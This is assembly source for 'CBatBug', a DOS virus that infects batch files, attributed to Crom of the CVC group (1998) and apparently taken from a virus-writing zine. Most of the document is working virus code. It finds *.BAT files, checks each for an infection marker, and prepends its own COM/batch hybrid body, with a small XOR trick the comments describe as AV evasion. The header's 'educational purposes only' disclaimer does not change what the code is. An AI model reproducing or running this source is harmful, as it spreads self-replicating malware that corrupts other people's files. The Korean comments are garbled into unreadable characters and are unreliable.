;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
;                                            \\\\\\\  \       \   \\\\\\\
;     CBatBug                               \          \     \   \
;                 by Crom of CVC            \           \   \    \    98/05
;                                           \            \ \     \
;                                            \\\\\\\      \       \\\\\\\ #04
;
; Virus Name : CBatBug (CVC Batch Bug)
; Author     : Crom
; Group      : CVC
; Origin     : Corea
; Date       : 1998/03/21
; Type       : Non memory resident BAT
;
;  !*< I  >********************************************************!
;   *                                                                        *
;   * w !                                                                 *
;   *         e aBⷥ ae awAᴡ sa. e       *
;   *        i awЁ iae  AA Ёᕡ i  g    *
;   *        sa. e e ii e aqAA sa.                *
;   *                                                                        *
;   * Warning !                                                              *
;   *        This information is for educational purposes only. We are       *
;   *        not responsible for any problems caused by the use of this      *
;   *        information. Responsibility is entirely placed on the reader    *
;   *                                                                        *
;   !************************************************************************!
;
; eA AbE aa á ai qq ǡe A aaa !
;  aaA e aAe we CVC #04 A ea. Ёi Ёe  
;  aea.
;
; qa á a qq aaa aw Жa bae a bi aa.
;
; aaA qqE BAT a ЗAe COM ai a a ai Зǥ
; a. a ae e BɡA e e BAT ai qqǥa. a, w
;  á a ЗEa. s gea ?
;
; COM a EXE ai qq ǡe aa ѥsAe wbЁ  a.
; qe aaa |A Ё A áa i  aa  ҁw á a
; qq aai 奡 ba. a, AV Abai E e aϡ aa
;
;
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>


            .MODEL  TINY
            .CODE

            org   100h

 Bat_Vir:
            db    '::'                      ; BATCH aae e 
            jmp   Start                     ; Ea. (Ai Ea.)
            db    0Dh,0Ah                   ;

            db    'copy  %0 cbb.com > NUL',0Dh,0Ah ; 123.COM a 
            db    'cbb',0Dh,0Ah             ; aa З
            db    'goto Start!',0Dh,0Ah     ;  á a З
;
;  ᷁ ša we aq {a. COM a ЗAa CMP BH,[BP+SI] e 
;  ЗA a A A gea.
;  0100 3A3A          CMP     BH,[BP+SI]
;  0102 EB2F          JMP     0133
;  0104 90            NOP
;  0105 0D0A63        OR      AX,630A
;
; 1. á a ЗEae e á ai 123.COM a Зa OrgBatch
;    Ai aea.
;
; 2. COM a ЗEae e COM a wa ЗEa. '::' e  e
;    wwa. a, a a wwa Start  ea.  e З aw
;    aA Ё I bA qaaa !
;

 Start:
            mov   ah, 2Fh                   ; DTA a
            int   21h
            push  es                        ; DTA t w
            push  bx

;
; 1Ah i qѡ ǡ gae eEa. 1Ah e Baa aAe EOF (End Of File)
; a. qA  qqE BAT ai ЗЁ Aii xi  a a
;   veA aA i  1Ah A 1Ah ҁ w AA 
; a gva. 1Ah e  qѡ ǡa
;
;
            mov   ah, (1Ah xor 15h)         ;  DTA 
            mov   dx, offset NewDTA
            xor   ah, 15h
            int   21h

            mov   ah, 4Eh                   ; BAT a x
            mov   cx, 00100011B             ; w/a
            mov   dx, offset Mask_BAT       ; *.BAT
 Find_repeat:
            int   21h                       ;
            jc    Terminate                 ; Ae a

 Infect_BAT:

            mov   ax, 3D02h                 ; a e
            mov   dx, offset NewDTA[1Eh]    ;
            int   21h
            jc    Terminate

            xchg  ax,bx                     ; Ѕi 苡

            mov   ah, 3Fh                   ;  BAT eq  i
            mov   cx, word ptr NewDTA[26]   ; 
            mov   dx, offset Buffer         ; 
            int   21h

            mov   ax,4200h                  ; ai  ivaa ͡a
            xor   cx,cx                     ; Жaa a qa 
            xor   dx,dx                     ; ǥa.
            int   21h

            cmp   word ptr Buffer, '::'     ; qq a a
            jnz   Write_vir
            cmp   byte ptr Buffer+2, 0EBh
            jz    Infected

 Write_vir:
            mov   ah,  40h                  ; aa a
            mov   cx, offset End_Virus - 100h
            add   cx, word ptr NewDta[26]   ; i  = aa +  BAT
            mov   dx, 100h                  ; 
            int   21h

 Infected:
            mov   ah, 3eh                  ; a h
            int   21h

            mov   ah, 4Fh                  ; aq BAT a x
            jmp   Find_repeat

 Terminate:
            pop   dx
            pop   ds
            mov   ah, (1Ah xor 15h)        ; DTA  
            xor   ah, 15h
            int   21h

            mov   ax,4c00h                 ; a
            int   21h

            db    '[CBatBug]'
            db    '(c) Copyleft 1997-1998 by Crom/CVC,Corea'

 Mask_BAT   db    '*.BAT',0                ; BAT a x
 NewDTA     db    30h dup (?)
            db    0Dh,0Ah,':Start!',0Dh,0Ah
            db    0Dh,0Ah,'del cbb.com > nul',0Dh,0Ah
 End_Virus:
 Buffer:                                   ;

            END   Bat_Vir

